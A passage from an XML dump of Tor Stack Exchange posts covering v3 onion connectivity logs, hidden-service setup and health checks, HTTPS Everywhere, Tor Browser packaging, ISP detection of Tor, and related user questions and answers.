Bootstrapped 40% (loading_keys): Loading authority key certs&#xA;1/10/21, 23:12:31.458 [NOTICE] The current consensus has no exit nodes. Tor can only build internal paths, such as paths to onion services.&#xA;1/10/21, 23:12:31.458 [NOTICE] Bootstrapped 45% (requesting_descriptors): Asking for relay descriptors&#xA;1/10/21, 23:12:31.461 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/7066, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.)&#xA;1/10/21, 23:12:32.830 [NOTICE] Bootstrapped 50% (loading_descriptors): Loading relay descriptors&#xA;1/10/21, 23:12:37.967 [NOTICE] The current consensus contains exit nodes. Tor can build exit and internal paths.&#xA;1/10/21, 23:12:40.836 [NOTICE] Bootstrapped 55% (loading_descriptors): Loading relay descriptors&#xA;1/10/21, 23:12:41.483 [NOTICE] Bootstrapped 60% (loading_descriptors): Loading relay descriptors&#xA;1/10/21, 23:12:42.516 [NOTICE] Bootstrapped 69% (loading_descriptors): Loading relay descriptors&#xA;1/10/21, 23:12:42.763 [NOTICE] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits&#xA;1/10/21, 23:12:43.576 [NOTICE] Bootstrapped 80% (ap_conn): Connecting to a relay to build circuits&#xA;1/10/21, 23:12:43.779 [NOTICE] Bootstrapped 85% (ap_conn_done): Connected to a relay to build circuits&#xA;1/10/21, 23:12:44.160 [NOTICE] Bootstrapped 89% (ap_handshake): Finishing handshake with a relay to build circuits&#xA;1/10/21, 23:12:44.623 [NOTICE] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits&#xA;1/10/21, 23:12:44.624 [NOTICE] Bootstrapped 95% (circuit_create): Establishing a Tor circuit&#xA;1/10/21, 23:12:45.450 [NOTICE] Bootstrapped 100% (done): Done&#xA;1/10/21, 23:12:48.152 [NOTICE] New control connection opened from 127.0.0.1.&#xA;1/10/21, 23:12:49.385 [NOTICE] New control connection opened from 127.0.0.1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The v2-sites all conducted properly, but none on the v3-sites did ever answer.&lt;br/&gt;&#xA;In &amp;quot;Tools/WebDeveloper/Network&amp;quot;, its the same like before, only showing GET, nothing come back.&#xA;So then I exit TBB 10.0.7 to start it again, then to get this log...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1/10/21, 23:23:05.956 [NOTICE] Bootstrapped 10% (conn_done): Connected to a relay&#xA;1/10/21, 23:23:05.958 [NOTICE] Bootstrapped 14% (handshake): Handshaking with a relay&#xA;1/10/21, 23:23:06.660 [NOTICE] Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;1/10/21, 23:23:06.663 [NOTICE] Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits&#xA;1/10/21, 23:23:06.675 [NOTICE] Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits&#xA;1/10/21, 23:23:06.677 [NOTICE] Bootstrapped 95% (circuit_create): Establishing a Tor circuit&#xA;1/10/21, 23:23:07.638 [NOTICE] Bootstrapped 100% (done): Done&#xA;1/10/21, 23:23:09.111 [NOTICE] New control connection opened from 127.0.0.1.&#xA;1/10/21, 23:23:09.672 [NOTICE] New control connection opened from 127.0.0.1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It looks better and gives me hope, but still none of the v3-sites did never answer.&#xA;If this continues all the sites using v3, I'm soon to be like Gilligan, except on the moon.&lt;/p&gt;&#xA;" OwnerUserId="31525" LastEditorUserId="31632" LastEditDate="2021-06-11T11:09:13.357" LastActivityDate="2022-03-08T13:03:00.240" Title="What are the requirements for onion v3 sites?" Tags="|tor-browser-bundle|onion-services|settings|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21874" PostTypeId="1" AcceptedAnswerId="21875" CreationDate="2021-01-10T04:50:39.430" Score="0" ViewCount="58" Body="&lt;p&gt;I was reading a comment discussion on the answer to &lt;a href=&quot;https://tor.stackexchange.com/questions/678/what-are-the-minimum-amount-of-nodes-traffic-passes-through&quot;&gt;this question&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Where it's basically revealed that large numbers of middle nodes do not provide any additional security if the Guard Node and Exit Node are compromised. Because analysis traffic (in particular correlating volume of data requested at the exit node vs transmitted at the guard node) can be used to deanonymize the user)&lt;/p&gt;&#xA;&lt;p&gt;Are there any known onion-like protocols which allow you to maintain anonymity even if the Guard and Exit nodes are both compromised and cooperating, but the middle node(s) is(are) not.&lt;/p&gt;&#xA;&lt;p&gt;What would be examples of some protocols?&lt;/p&gt;&#xA;&lt;h2&gt;Some Thinking:&lt;/h2&gt;&#xA;&lt;p&gt;This type of protocol would probably need to randomly junk data and sometimes remove this junk at a later time from node to node, so that packet analysis, and volume of data analysis could not be used to correlate data returning from the exit node vs the guard node. (I.E. the size of the data the Exit Node passes along should be made to very weakly correlate with the amount of data the Guard Node passes along to the user).&lt;/p&gt;&#xA;" OwnerUserId="31056" LastActivityDate="2021-01-10T06:01:37.053" Title="What would be an example of a routing protocol that preserves anonymity even if the Guard Node and Exit Node are both compromised" Tags="|onion-routing|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21875" PostTypeId="2" ParentId="21874" CreationDate="2021-01-10T05:53:00.833" Score="1" Body="&lt;p&gt;The method you mention of preventing traffic correlation attacks is generally called &lt;em&gt;cover traffic&lt;/em&gt;. Sometimes it also makes sense to reorder the traffic as well, which is a network design often called &lt;em&gt;mix networks&lt;/em&gt; or &lt;a href=&quot;https://www.freehaven.net/anonbib/cache/chaum-mix.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Chaum mixes&lt;/em&gt;&lt;/a&gt;. These techniques generally have the downsides of increasing latency and decreasing network capacity, so you need to be careful about how much cover traffic or mixing that you add.&lt;/p&gt;&#xA;&lt;p&gt;You might find &lt;a href=&quot;https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/piotrowska&quot; rel=&quot;nofollow noreferrer&quot;&gt;Loopix&lt;/a&gt; interesting to start with, and you may find other designs/techiques/analyses in the papers here: &lt;a href=&quot;https://www.freehaven.net/anonbib/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.freehaven.net/anonbib/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2021-01-10T06:01:37.053" LastActivityDate="2021-01-10T06:01:37.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21877" PostTypeId="1" CreationDate="2021-01-10T16:35:42.607" Score="0" ViewCount="371" Body="&lt;p&gt;I've found that my hidden service occasionally becomes unreachable. Restarting TOR on the server helps. I want to remediate the connectivity issue automatically. To know when to restart, I need a reliable health check. I'm running an HTTP server, so a simple &lt;code&gt;curl&lt;/code&gt; to the own onion address seems to be a good health check. Now, it shouldn't be too hard to develop a &lt;code&gt;systemd&lt;/code&gt; script.&lt;/p&gt;&#xA;&lt;p&gt;I want to check if others ran into this issue and if there are existing solutions?&lt;/p&gt;&#xA;" OwnerUserId="31473" LastActivityDate="2021-01-12T04:50:11.500" Title="Self health check for Hidden Service" Tags="|network-health|systemd|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21880" PostTypeId="1" CreationDate="2021-01-10T21:15:48.873" Score="0" ViewCount="184" Body="&lt;p&gt;I tried to access &lt;a href=&quot;http://uniquemachine.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://uniquemachine.org&lt;/a&gt; and tor-browser/HTTPSeverywhere-add-on reached it without warning me.&lt;/p&gt;&#xA;&lt;p&gt;Would you know why ?&lt;/p&gt;&#xA;&lt;p&gt;How to automatically warn me at every single http:// i'm trying to access ?&lt;/p&gt;&#xA;&lt;p&gt;Is it safe to test the tor-browser fingerprint on that website given that it's http only ?&lt;/p&gt;&#xA;" OwnerUserId="31542" LastActivityDate="2021-01-10T21:41:55.193" Title="HTTPS Everywhere doesn't work all the time" Tags="|tor-browser-bundle|configuration|security|exit-relays|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21881" PostTypeId="2" ParentId="21880" CreationDate="2021-01-10T21:41:55.193" Score="1" Body="&lt;p&gt;HTTPS Everywhere does not block all non-https requests since it would block a significant fraction of the Internet for users, hurting usability. Instead, it uses a ruleset to only modify requests for specific domains. You can search the list here: &lt;a href=&quot;https://atlas.eff.org/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.eff.org/index.html&lt;/a&gt;. Note that &lt;code&gt;uniquemachine.org&lt;/code&gt; is not in the list, so the HTTPS Everywhere extension does not do anything for this domain. You can ask the website owner to add themselves to the list &lt;a href=&quot;https://github.com/EFForg/https-everywhere/blob/master/CONTRIBUTING.md#contributing-rulesets&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can enable the EASE (Encrypt All Sites Eligible) mode in HTTPS Everywhere which supposedly &lt;a href=&quot;https://www.eff.org/https-everywhere/faq#what-do-the-different-colors-of-the-https-everywhere-icon-mean&quot; rel=&quot;nofollow noreferrer&quot;&gt;blocks all unencrypted requests&lt;/a&gt;. To do this you must first right-click on the toolbar in Tor Browser, select &amp;quot;Customize&amp;quot;, drag the HTTPS Everywhere icon to the toolbar, open a new tab, click on the HTTPS Everywhere icon on the toolbar, and enable &amp;quot;Encrypt All Sites Eligible&amp;quot; mode. Enabling this option may make you more fingerprintable due to non-default settings.&lt;/p&gt;&#xA;&lt;p&gt;Firefox itself also now has an option to block all non-https requests, so this feature may come to Tor Browser in the future.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-10T21:41:55.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21883" PostTypeId="1" AcceptedAnswerId="21884" CreationDate="2021-01-11T14:16:44.933" Score="0" ViewCount="51" Body="&lt;p&gt;I configured a hidden service and it works. But when i type the IP into a regular browser, the same web page is hosted from the apache server.&lt;/p&gt;&#xA;&lt;p&gt;How do i prevent it from serving the http content and only serve the onion content.&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="31547" LastActivityDate="2021-01-11T15:03:57.853" Title="Block http traffic" Tags="|help|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21884" PostTypeId="2" ParentId="21883" CreationDate="2021-01-11T15:03:57.853" Score="1" Body="&lt;p&gt;To prevent the server from being accessible from the network, you need to bind your webserver to localhost rather than to all interfaces. So for example in your apache config, instead of:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Listen 80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You need:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Listen 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-11T15:03:57.853" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21885" PostTypeId="2" ParentId="21877" CreationDate="2021-01-11T15:24:54.020" Score="1" Body="&lt;p&gt;Create a file named checkifisonline.sh  (give it permission read and write) allow Executable ) working in ubuntu or whonix or in tails drag and Drop in the terminal and hit enter ..&lt;/p&gt;&#xA;&lt;p&gt;*remember to change the onion site in the script for yours.. and to put the path to the music .mp3 ..&lt;/p&gt;&#xA;&lt;p&gt;script here&#xA;&lt;a href=&quot;https://anonfiles.com/P6KeU475p4/checkifisonline_txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://anonfiles.com/P6KeU475p4/checkifisonline_txt&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When the Site will go down The alarm will start .. Take note in ubuntu if the alarm start and the site is ok .. restart ubuntu start the script again .. how i do ?&lt;/p&gt;&#xA;&lt;p&gt;in ubuntu i have tor installed .. i start in the terminal tor&lt;/p&gt;&#xA;&lt;p&gt;cd tor-browser_en-US/&lt;/p&gt;&#xA;&lt;p&gt;./start-tor-browser.desktop&lt;/p&gt;&#xA;&lt;p&gt;i do that is start tor After i open a terminal&lt;/p&gt;&#xA;&lt;p&gt;i start anonsurf (working in ubuntu )&lt;/p&gt;&#xA;&lt;p&gt;i do&#xA;sudo anonsurf Start&lt;/p&gt;&#xA;&lt;p&gt;after i open a terminal in the folder Where i have put the script and the .mp3 music i drag and drop the script and hit Enter if Tor is open the script will working after less of 4 min i see The site is UP .. when is go down is Write in red the site is Down and the music Start !&lt;/p&gt;&#xA;&lt;p&gt;take note tor was under ddos attack Junuary 2021 .. They will patch That next tor Version probably !&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/issues/40237&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/core/tor/-/issues/40237&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31548" LastEditorUserId="31548" LastEditDate="2021-01-11T15:30:21.913" LastActivityDate="2021-01-11T15:30:21.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21886" PostTypeId="2" ParentId="21877" CreationDate="2021-01-12T04:50:11.500" Score="1" Body="&lt;p&gt;I solved this issue with following:&lt;/p&gt;&#xA;&lt;p&gt;RendPostPeriod N (I set it on 20 minutes)&#xA;(seconds|minutes|hours|days|weeks)&#xA;Every time the specified period elapses, Tor uploads any rendezvous service descriptors to the directory servers. This information is also uploaded whenever it changes. (Default: 1 hour)&lt;/p&gt;&#xA;&lt;p&gt;HiddenServiceNumIntroductionPoints NUM (I set to 7)&lt;/p&gt;&#xA;&lt;p&gt;Number of introduction points the hidden service will have. You can’t have more than 10. (Default: 3)&lt;/p&gt;&#xA;&lt;p&gt;And I also set to crontab a script that sends SIGHUP to tor service every 4 hours.&lt;/p&gt;&#xA;" OwnerUserId="31552" LastActivityDate="2021-01-12T04:50:11.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21887" PostTypeId="2" ParentId="21873" CreationDate="2021-01-12T04:54:58.160" Score="0" Body="&lt;p&gt;V3 concensus servers are under some kind of attack.&#xA;Read here:&#xA;&lt;a href=&quot;https://www.reddit.com/r/deepweb/comments/kv1z8o/11_jan_2021_v3_onion_services_should_be_reachable/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/deepweb/comments/kv1z8o/11_jan_2021_v3_onion_services_should_be_reachable/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31552" LastActivityDate="2021-01-12T04:54:58.160" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21888" PostTypeId="2" ParentId="21837" CreationDate="2021-01-12T05:04:51.413" Score="1" Body="&lt;p&gt;Keep in mind that by uploading your hs_ed25519_secret_key to ANY third party hosting you're losing control over it.&#xA;Beauty of TOR is you can run your Hidden Service from your own hardware and be perfectly safe&lt;/p&gt;&#xA;" OwnerUserId="31552" LastActivityDate="2021-01-12T05:04:51.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21891" PostTypeId="1" CreationDate="2021-01-13T08:32:39.033" Score="0" ViewCount="200" Body="&lt;p&gt;I downloaded tor for linux, named &amp;quot;tor-browser-linux64-10.0.7_en-US.tar.xz&amp;quot; from its official site, which I believe is called the browser bundle. I started tor by runnning ./start-tor-browser.desktop and tor is up and running.&lt;/p&gt;&#xA;&lt;p&gt;But I found a folder named &amp;quot;chrome&amp;quot; within the tor browser main folder.&#xA;My question is why is that? Also a shell script named &amp;quot;firefox&amp;quot; can be seen too.&#xA;Previously I used tor on windows, tor showed in my operating system as firefox that time. Why is that? Does tor use the already existing browser? If so, how do I change the default browser for tor?&lt;/p&gt;&#xA;" OwnerUserId="31560" LastActivityDate="2021-01-13T17:25:36.173" Title="When I download tor from its original site, am i downloading a complete browser or just the software to connect to a tor network" Tags="|tor-browser-bundle|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21892" PostTypeId="1" CreationDate="2021-01-13T11:48:24.000" Score="0" ViewCount="790" Body="&lt;p&gt;Is there a way to configure the Tor Browser (or its alternative) to send clearnet requests directly, while retaining the ability to connect to .onion sites? Of course, in this scenario, I couldn't really be concerned about anonymity or privacy.&lt;/p&gt;&#xA;&lt;p&gt;I just want to access an .onion site that embeds large quantities of content hosted on clearnet without having to route all of that heavy traffic through Tor. Let's say that this website only exists as a Tor Hidden Service. However, for the sake of clarity, all of this content, as well as the hidden service, are completely legal and there's no motivation to keep their use a secret. For example, its author just couldn't be bothered to pay for a static public IP address.&lt;/p&gt;&#xA;&lt;p&gt;I had no luck trying to find a browser that would allow this kind of dynamic behavior. Frankly, web search results for queries containing &amp;quot;tor&amp;quot; or &amp;quot;onion&amp;quot; are polluted with articles from popular news sources on the various more-or-less illegal darknet content and guides on how to install the Tor Browser, due to their well-crafted SEO.&lt;/p&gt;&#xA;" OwnerUserId="31561" LastActivityDate="2021-01-14T21:41:32.107" Title="Only use Tor for .onion requests (direct clearnet access)" Tags="|tor-browser-bundle|clear-net|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21893" PostTypeId="2" ParentId="21891" CreationDate="2021-01-13T17:25:36.173" Score="1" Body="&lt;p&gt;The software you downloaded (&amp;quot;tor-browser-linux64-10.0.7_en-US.tar.xz&amp;quot;) is called Tor Browser, a browser derived from Firefox. This browser is intended not just to route your traffic through the Tor network, but also to provide extra protection from proxy-bypass bugs, browser fingerprinting, etc. The &amp;quot;chrome&amp;quot; folder is a standard Firefox folder and is used for customizing the Firefox UI, or in this case the Tor Browser UI. This browser is an all-in-one solution for people who want to easily use a web browser with the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;Tor Browser is the most popular way of web browsing through the Tor network, but you can also download only the Tor client and use it with any application that supports a SOCKS proxy. On Windows this tor client is called the &amp;quot;Windows Expert Bundle&amp;quot; which you can download &lt;a href=&quot;https://www.torproject.org/download/tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. On Linux this is called just &amp;quot;tor&amp;quot; and can typically be downloaded through a package manager (for example &lt;code&gt;apt install tor&lt;/code&gt;) using the Tor Project's &lt;a href=&quot;https://support.torproject.org/apt/tor-deb-repo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;deb repository&lt;/a&gt;. This gives you the tor daemon without any browser or application.&lt;/p&gt;&#xA;&lt;p&gt;You might also find this helpful: &lt;a href=&quot;https://tor.stackexchange.com/questions/4192/what-is-the-difference-between-tor-tor-browser-and-torbrowser-launcher&quot;&gt;What is the difference between Tor, Tor Browser and torbrowser-launcher?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-13T17:25:36.173" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21894" PostTypeId="1" AcceptedAnswerId="21897" CreationDate="2021-01-13T19:24:06.310" Score="1" ViewCount="358" Body="&lt;p&gt;Yesterday I was runnig Tails and obviously using tor.&#xA;The point is that some subreddits doesn't allowed me to access, showing a 503 message. After a moment, the message appeared in general. Right now using tor on Debian, I'd tried to open the same posts and everything just worked fine.&#xA;I found this guy experiencing something similar&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/TOR/comments/kvet7t/reddit_is_blocking_me/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/TOR/comments/kvet7t/reddit_is_blocking_me/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So the question is  Why this is happening? I thought tor is the same for Tails, Debian or whatever distro you are using.&lt;/p&gt;&#xA;" OwnerUserId="31564" LastActivityDate="2021-01-14T17:56:12.310" Title="Is reddit blocking Tails?" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21896" PostTypeId="1" CreationDate="2021-01-14T01:45:36.630" Score="0" ViewCount="336" Body="&lt;p&gt;When using Orbot and not coupled with Tor browser, but rather through Google Chrome or Firefox, can a website I visit de-anonymize me? Particularly know anything about my location, IP, service provider?&lt;/p&gt;&#xA;&lt;p&gt;If so, how can I get &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Tails_(operating_system)&quot; rel=&quot;nofollow noreferrer&quot;&gt;tails&lt;/a&gt; level security/privacy on my phone?&lt;/p&gt;&#xA;" OwnerUserId="15650" LastActivityDate="2022-03-11T22:01:20.150" Title="Is there a way a website can identify me when connected to it via Orbot?" Tags="|tor-browser-bundle|anonymity|security|orbot|vpn|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21897" PostTypeId="2" ParentId="21894" CreationDate="2021-01-14T17:56:12.310" Score="0" Body="&lt;p&gt;This also happens to me running Tor Browser 10.0.8 for Linux. I don't know why this is happening, but I have figured out a workaround: change the URL from https://&lt;strong&gt;www&lt;/strong&gt;.reddit.com/r/... to https://&lt;strong&gt;old&lt;/strong&gt;.reddit.com/r/...&lt;/p&gt;&#xA;&lt;p&gt;Doing this allows me to access any of the pages on which I previously received a 503 error. Hopefully it works for you&lt;/p&gt;&#xA;" OwnerUserId="28442" LastActivityDate="2021-01-14T17:56:12.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21899" PostTypeId="2" ParentId="21896" CreationDate="2021-01-14T21:46:52.680" Score="0" Body="&lt;p&gt;Yes, google chrome and regular Firefox have unique fingerprints that can help to identify you. I personally think you're better off using something like NetGuard and just blocking all wifi access except tor and a few other essentials.&lt;/p&gt;&#xA;" OwnerUserId="31572" LastActivityDate="2021-01-14T21:46:52.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21900" PostTypeId="2" ParentId="21896" CreationDate="2021-01-15T19:12:25.273" Score="0" Body="&lt;p&gt;It is possible to get location, IP, service provider through Java. Turn it off and you'll be fine.&#xA;However, it is highly recommend to use Tor Browser.&#xA;Use it with Java off for peace of mind.&lt;/p&gt;&#xA;" OwnerUserId="31552" LastActivityDate="2021-01-15T19:12:25.273" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21903" PostTypeId="1" CreationDate="2021-01-15T22:40:32.067" Score="0" ViewCount="282" Body="&lt;p&gt;I am trying to set up a .onion website but I am experiencing some issues in doing so.&lt;/p&gt;&#xA;&lt;p&gt;I set up a apache2 server and configed the torrc file, but when I save the changes on the torrc file and try to run tor as a su, I got an error that this service is already running but as a different user.&lt;/p&gt;&#xA;&lt;p&gt;I also tried several times to config and run this with a python3 server and I think this server is running somewhere but don't know where...and I think I messed things up and don't know what to do now..&lt;/p&gt;&#xA;&lt;p&gt;I have the .onion domain from the hostname but it's not loading when I try to put it in the browser.&lt;/p&gt;&#xA;&lt;p&gt;Here is the output I receive: &lt;a href=&quot;https://i.stack.imgur.com/8sOZZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/8sOZZ.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Please help, guys!&lt;/p&gt;&#xA;" OwnerUserId="31576" LastActivityDate="2022-02-10T02:05:15.487" Title="Cannot run tor as a su on Ubuntu 20.04 with an apache2 server" Tags="|onion-services|linux|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21904" PostTypeId="2" ParentId="21903" CreationDate="2021-01-16T00:51:13.310" Score="0" Body="&lt;p&gt;If you installed a tor deb (using something like &lt;code&gt;apt install tor&lt;/code&gt;), then tor runs as a systemd service and you should not be running tor manually. Run &lt;code&gt;systemctl status tor@default&lt;/code&gt; to see the service. In addition, you should not run tor as root. The service is set up to run tor as the &lt;code&gt;debian-tor&lt;/code&gt; user.&lt;/p&gt;&#xA;&lt;p&gt;Once you've made changes to your torrc file, you can either send a &lt;code&gt;SIGHUP&lt;/code&gt; signal to the tor process to have it reload the config file, or you can just restart the service with &lt;code&gt;sudo systemctl restart tor@default&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-16T00:51:13.310" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21905" PostTypeId="2" ParentId="21772" CreationDate="2021-01-16T11:53:39.480" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;How does the ISP know if i m using Tor? I read many articles about it but none of them wrote HOW... If i use Tor on 80 and 443 ports, how can ISP know it s Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In short &lt;a href=&quot;https://en.wikipedia.org/wiki/Deep_packet_inspection&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;DPI&lt;/strong&gt; or Deep packet inspection&lt;/a&gt;. Packets of ssh differs from https packets. Packets of icmp-pings has nothing similar with dns-53 udp packets... etcetera..&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Do ISPs have a database about Tor entry nodes' IPs?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Actually, you have it too, and mostly every tor's client shall, because it is how p2p-networks are working...&lt;/p&gt;&#xA;&lt;p&gt;You could see pretty printed version on this site: &lt;a href=&quot;https://torstatus.rueckgr.at/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torstatus.rueckgr.at/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or you could type in your terminal&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# cat /var/lib/tor/cached-descriptors| less&#xA;&#xA;@downloaded-at 2021-01-14 09:27:49&#xA;@source &amp;quot;216.252.162.21&amp;quot;&#xA;router fkrelayhandlefk 167.86.104.147 9001 0 0&#xA;identity-ed25519&#xA;-----BEGIN ED25519 CERT-----&#xA;........&#xA;-----END ED25519 CERT-----&#xA;master-key-ed25519 .......&#xA;platform Tor 0.4.2.7 on Linux&#xA;proto Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Relay=1-2 Padding=2 FlowCtrl=1&#xA;published 2021-01-14 08:35:15&#xA;fingerprint ....&#xA;uptime 143742&#xA;bandwidth 12779520 12779520 23467927&#xA;extra-info-digest ....    onion-key&#xA;-----BEGIN RSA PUBLIC KEY-----&#xA;.....&#xA;-----END RSA PUBLIC KEY-----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See, all ip-addresses are here, &lt;code&gt;router fkrelayhandlefk 167.86.104.147 9001 0 0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# cat /var/lib/tor/cached-descriptors| grep ^router | grep -v router-sig | wc -l&#xA;7214&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Even my cache contains 7k routers... 7k different ip-addresses, part of its are exits, part are guards, part are middles...&lt;/p&gt;&#xA;&lt;p&gt;To prevent such attacks, when your ISP simply downloading all ip-addresses and block your communication with em, there are &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor-Bridges&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In short, bridges are not listed in any p2p public resources, you are getting its ip-addresses by e-mail or anyhow else. There is no easy way to find all bridges and blacklist all of its.&lt;/p&gt;&#xA;&lt;p&gt;From the side of &lt;em&gt;DPI&lt;/em&gt; - there is &lt;code&gt;obfs4&lt;/code&gt; - it is a technology which is trying to mimic to ordinary https-traffic. While https is ssl based, there is no another easy way to crack https-packets and that is why it is hard to Deep Packet Inspect its.&lt;/p&gt;&#xA;&lt;p&gt;So, you should use bridge and obfs4-transport to be sure that your ISP know nothing about your tor-network-surfing.&lt;/p&gt;&#xA;" OwnerUserId="31579" LastActivityDate="2021-01-16T11:53:39.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21906" PostTypeId="1" CreationDate="2021-01-16T12:41:41.753" Score="0" ViewCount="170" Body="&lt;p&gt;Long-story short, I'm building a social network, where each of my users has an onion address, and can sign their status updates with their private keys (so their friends can share them when they're offline). Hidden service V2 is very convenient for this:&lt;/p&gt;&#xA;&lt;p&gt;The key hashes are short.&#xA;The keys are in PEM format.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to specify SHA512 hashing, with a 16-character URL length? 56 character URLs are inconvenient, and with all the focus TOR has placed on ease of use lately (ditching Vidalia so users had shorter wait times, and assured connection), one would think short URLs would be a consideration.&lt;/p&gt;&#xA;&lt;p&gt;At the moment, I'm running on HiddenServiceVersion 2, but the software says support for that will soon be dropped. I need options.&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2022-02-10T20:05:25.607" Title="Is There Any Way to Specify URL Hashing Algorithm?" Tags="|onion-services|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21907" PostTypeId="1" AcceptedAnswerId="22046" CreationDate="2021-01-16T12:58:07.583" Score="0" ViewCount="2433" Body="&lt;p&gt;If a system using Tails and Tor always connects to public wifi in a city far away from someone's home IP address, what are all the different ways this would backfire such that authorities still manage to pin-point that person's identity or real hometown?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2021-02-17T00:49:24.187" Title="Never using Tails and Tor from home IP address but still caught" Tags="|anonymity|security|tails|browsers|ip-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
